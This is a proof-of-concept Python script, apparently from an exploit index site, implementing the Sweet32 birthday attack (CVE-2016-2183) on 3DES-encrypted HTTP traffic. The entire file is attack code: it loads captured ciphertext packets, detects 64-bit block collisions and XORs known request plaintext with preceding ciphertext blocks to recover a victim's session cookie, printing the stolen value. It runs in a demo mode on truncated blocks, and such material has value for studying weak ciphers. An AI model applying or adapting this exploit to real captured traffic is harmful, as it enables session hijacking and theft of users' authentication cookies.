4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / sweet32.py PY
#!/usr/bin/env python3

import argparse
import math
from lib import packetfile
from lib.tridescbc import DEMO_BLOCK_SIZE, BLOCK_SIZE

"""
Sweet32 - Birthday attack on 3DES (64-bit block cipher).

This is a demonstration of the Sweet32 attack (CVE-2016-2183) which exploits
the small 64-bit block size of 3DES through birthday collisions.
See: https://sweet32.info/

The Beastly Attack Scenario:
When two ciphertext blocks collide (c_i = c_j), we can recover plaintext using:
    p_i = p_j ⊕ c_{i-1} ⊕ c_{j-1}

Where:
- p_i is the unknown plaintext (cookie block)
- p_j is a known plaintext block
- c_{i-1} and c_{j-1} are the previous ciphertext blocks

The attack works WITHOUT knowing the encryption key - only by observing
enough encrypted traffic to find collisions.
"""

# Known plaintext template for HTTP requests (? marks unknown bytes)
REQUEST_PLAIN_TEXT = """GET /nonexistent/?????????? HTTP/1.1
Host: localhost:5000
Connection: keep-alive
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.8
Cookie: session=????????????????????????????????
"""

# Known plaintext template for HTTP responses
RESPONSE_PLAIN_TEXT = """HTTP/1.0 404 NOT FOUND
Content-Type: text/html
Content-Length: 233
Server: Werkzeug/0.12.2 Python/3.5.2
Date: ?????????????????????????????
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>404 Not Found</title>
<h1>Not Found</h1>
<p>The requested URL was not found on the server.</p>
"""


class Sweet32Attack:
    """Execute Sweet32 birthday attack on 3DES encrypted packets."""

    def __init__(self, filename, block_size_bytes=None):
        # Use demo block size by default for reading truncated ciphertext
        if block_size_bytes is None:
            block_size_bytes = DEMO_BLOCK_SIZE
        self.block_size = block_size_bytes
        
        # Block indexing is ALWAYS based on 8-byte 3DES blocks
        # The truncation is just for faster collision detection
        index_block_size = BLOCK_SIZE  # Always 8 for 3DES
        
        # Split known plaintexts into 8-byte blocks (matching 3DES)
        self.known_plain_texts = {
            "request": self._split_text_into_blocks(REQUEST_PLAIN_TEXT, index_block_size),
            "response": self._split_text_into_blocks(RESPONSE_PLAIN_TEXT, index_block_size)
        }

        # Calculate block locations using 8-byte block size
        self.cookie_location = self._get_cookie_block_locations(index_block_size)
        self.index_location = self._get_request_id_block_locations(index_block_size)
        self.date_location = self._get_date_block_locations(index_block_size)

        # Load encrypted packets (with truncated cipher blocks for collision matching)
        self.round_trips = packetfile.read_packets(filename, block_size_bytes)

        # Find all encrypted cookie blocks and their previous blocks
        self.encrypted_cookie_blocks = self._find_encrypted_cookie_blocks(self.round_trips)
        
        # Initialize decrypted cookie storage
        self.decrypted_cookie_blocks = [None] * len(self.cookie_location)

    @staticmethod
    def _split_text_into_blocks(text, block_size):
        """Split text into fixed-size blocks."""
        return [text[i:i+block_size] for i in range(0, len(text), block_size)]

    @staticmethod
    def _get_cookie_block_locations(block_size):
        """Get block indices where the cookie is located in requests."""
        start_index = 376  # "Cookie: session=" ends here
        end_index = 408    # 32-char cookie ends here
        return Sweet32Attack._index_to_block_index(start_index, end_index, block_size)

    @staticmethod
    def _get_request_id_block_locations(block_size):
        """Get block indices where the request ID (variable) is located."""
        return Sweet32Attack._index_to_block_index(17, 27, block_size)

    @staticmethod
    def _get_date_block_locations(block_size):
        """Get block indices where the date (variable) is located in responses."""
        return Sweet32Attack._index_to_block_index(110, 139, block_size)

    @staticmethod
    def _index_to_block_index(start_index, end_index, block_size):
        """Convert byte indices to block indices."""
        start_block_index = start_index // block_size
        end_block_index = math.ceil(end_index / block_size)
        return range(start_block_index, end_block_index)

    def _find_encrypted_cookie_blocks(self, encrypted_round_trips):
        """
        Build a dictionary of all encrypted cookie blocks.
        Maps: truncated_ciphertext_block -> {prev_full: full previous block for XOR, index: cookie_block_index}
        
        Uses truncated blocks as keys for collision matching, but stores FULL
        previous blocks for XOR recovery (the formula needs full blocks).
        """
        encrypted = {}
        for round_trip in encrypted_round_trips:
            cipher = round_trip['request']['cipher']  # Truncated blocks
            cipher_full = round_trip['request'].get('cipher_full', cipher)  # Full 8-byte blocks
            iv = round_trip['request']['iv']
            
            for location in self.cookie_location:
                if location >= len(cipher):
                    continue
                # Use truncated block as key for collision matching
                block = cipher[location]
                # Store FULL previous block for XOR recovery
                if location > 0:
                    prev_full = cipher_full[location - 1]
                else:
                    prev_full = iv
                encrypted[block] = {
                    "prev_full": prev_full,  # Full 8-byte block for XOR
                    "index": location - self.cookie_location[0],
                }
        return encrypted

    def execute_attack(self):
        """
        Execute the Sweet32 birthday attack.
        
        Finds collisions ACROSS ALL PACKETS between:
        - Encrypted cookie blocks (unknown plaintext) from ALL requests
        - Encrypted known-plaintext blocks from ANY request
        
        Uses the formula: p_i = p_j ⊕ c_{i-1} ⊕ c_{j-1}
        
        This works across packets because when c_i = c_j, the INPUTS to
        the block cipher are equal: (p_i ⊕ c_{i-1}) = (p_j ⊕ c_{j-1})
        The IV is just c_{-1} for block 0, so the formula handles it.
        """
        print()
        print("=" * 60)
        print("           SWEET32 BIRTHDAY ATTACK (CVE-2016-2183)")
        print("=" * 60)
        print(f"[*] Loaded {len(self.round_trips)} encrypted packets")
        print(f"[*] Block size: {self.block_size} bytes ({self.block_size * 8} bits)")
        print(f"[*] Cookie location: blocks {self.cookie_location[0]}-{self.cookie_location[-1]} (bytes 376-408)")
        print(f"[*] Tracking {len(self.encrypted_cookie_blocks)} encrypted cookie blocks")
        print()
        print("[*] Scanning for birthday collisions...")
        print("-" * 60)
        
        collision_count = 0

        for round_trip in self.round_trips:
            request = round_trip['request']
            
            # Check for collisions between known-plaintext blocks and ANY cookie block
            for i in range(len(request['cipher'])):
                # Skip blocks that contain unknown data
                if i in self.cookie_location or i in self.index_location:
                    continue

                # Check if this ciphertext block matches any cookie block from ANY packet
                if request['cipher'][i] in self.encrypted_cookie_blocks:
                    collision_count += 1
                    cipher_hex = request['cipher'][i].hex()
                    known_plain = self.known_plain_texts["request"][i]
                    print(f"[!] COLLISION #{collision_count} FOUND!")
                    print(f"    Known block {i} ciphertext: {cipher_hex}")
                    print(f"    Known plaintext: {repr(known_plain)}")
                    print(f"    Matches a cookie block!")
                    self._exploit_collision(
                        request, 
                        self.known_plain_texts["request"], 
                        i
                    )
                    print()

            # Check if we've recovered the entire cookie
            if self._cookie_is_fully_decrypted():
                break

        print("-" * 60)
        print()
        
        if self._cookie_is_fully_decrypted():
            print("=" * 60)
            print("                    ATTACK SUCCESSFUL!")
            print("=" * 60)
            cookie_str = ''.join(self.decrypted_cookie_blocks)
            cookie_hex = cookie_str.encode('latin-1').hex()
            print(f"[+] Recovered FULL cookie after {collision_count} collision(s)!")
            print()
            print(f"    RECOVERED COOKIE (hex): {cookie_hex}")
            print(f"    RECOVERED COOKIE (raw): {repr(cookie_str)}")
            print("=" * 60)
        else:
            recovered = sum(1 for x in self.decrypted_cookie_blocks if x is not None)
            print("=" * 60)
            print("                  PARTIAL RECOVERY")
            print("=" * 60)
            print(f"[+] Recovered {recovered}/{len(self.decrypted_cookie_blocks)} cookie blocks")
            print()
            for i, block in enumerate(self.decrypted_cookie_blocks):
                block_num = i + 1
                if block is not None:
                    block_hex = block.encode('latin-1').hex()
                    print(f"    Block {block_num}: {block_hex}  ← RECOVERED!")
                else:
                    print(f"    Block {block_num}: ????????????????  (need more collisions)")
            print()
            print("[*] Need more encrypted traffic for complete recovery!")
            print("=" * 60)
            print()
            print("Compare with the SECRET COOKIE from generate_rigged_packets.py:")
            print("If Block 1 matches the 'First 8 bytes (hex)', the attack worked!")

        return self.decrypted_cookie_blocks

    def _cookie_is_fully_decrypted(self):
        """Check if all cookie blocks have been recovered."""
        return all(x is not None for x in self.decrypted_cookie_blocks)

    def _exploit_collision(self, ciphertext, plaintext, block_index):
        """
        Exploit a collision to recover a cookie block.
        
        When c_i = c_j (collision on truncated blocks), we use:
            p_i = p_j ⊕ c_{i-1} ⊕ c_{j-1}
        
        NOTE: We use FULL 8-byte blocks for XOR, even though collision was
        detected on truncated blocks. This is valid because:
        - Collision on truncated blocks approximates full block collision
        - XOR recovery needs full blocks to get full 8-byte plaintext
        - For demo purposes, partial collisions give partial recovery
        
        Args:
            ciphertext: The packet containing the known-plaintext collision
            plaintext: The known plaintext blocks (8-byte blocks)
            block_index: Index of the colliding block in known plaintext
        """
        cipher = ciphertext['cipher']  # Truncated blocks for collision key
        cipher_full = ciphertext.get('cipher_full', cipher)  # Full blocks for XOR
        iv = ciphertext['iv']
        cookie_block_info = self.encrypted_cookie_blocks[cipher[block_index]]

        # Skip if we've already recovered this cookie block
        if self.decrypted_cookie_blocks[cookie_block_info["index"]] is not None:
            return

        # Get the known plaintext block (p_j) - 8 bytes
        known_plain = plaintext[block_index]

        # Get FULL previous ciphertext block for known plaintext (c_{j-1})
        if block_index != 0:
            prev_known = cipher_full[block_index - 1]
        else:
            prev_known = iv

        # Get FULL previous ciphertext block for cookie (c_{i-1})
        prev_cookie = cookie_block_info["prev_full"]

        # Apply the attack formula: p_i = p_j ⊕ c_{i-1} ⊕ c_{j-1}
        cookie_plain = self._recover_plaintext(known_plain, prev_known, prev_cookie)
        
        self.decrypted_cookie_blocks[cookie_block_info["index"]] = cookie_plain

    @staticmethod
    def _recover_plaintext(known_plain, prev_known_cipher, prev_cookie_cipher):
        """
        Recover unknown plaintext using the birthday attack formula.
        
        p_i = p_j ⊕ c_{i-1} ⊕ c_{j-1}
        
        Args:
            known_plain: Known plaintext block (p_j)
            prev_known_cipher: Previous ciphertext block for known plaintext (c_{j-1})
            prev_cookie_cipher: Previous ciphertext block for cookie (c_{i-1})
            
        Returns:
            Recovered plaintext string
        """
        if isinstance(known_plain, str):
            known_plain = known_plain.encode()
        
        # Use the minimum length (ciphertext might be truncated in demo mode)
        min_len = min(len(known_plain), len(prev_known_cipher), len(prev_cookie_cipher))
        
        result = []
        for i in range(min_len):
            # XOR: p_i = p_j ⊕ c_{j-1} ⊕ c_{i-1}
            recovered_byte = known_plain[i] ^ prev_known_cipher[i] ^ prev_cookie_cipher[i]
            result.append(chr(recovered_byte))

        return ''.join(result)


def main(filename, block_size_bytes):
    attack = Sweet32Attack(filename, block_size_bytes)
    return attack.execute_attack()


if __name__ == "__main__":
    parser = argparse.ArgumentParser(
        description='Sweet32 birthday attack on 3DES encrypted packets (CVE-2016-2183)')
    parser.add_argument('file', type=str,
                        help="File to read packets from. Use generate_packets.py to create the file")
    parser.add_argument('--block-size', type=int, default=DEMO_BLOCK_SIZE,
                        help=f"Block size in bytes. Defaults to {DEMO_BLOCK_SIZE} bytes (demo mode).")
    
    args = parser.parse_args()
    main(args.file, args.block_size)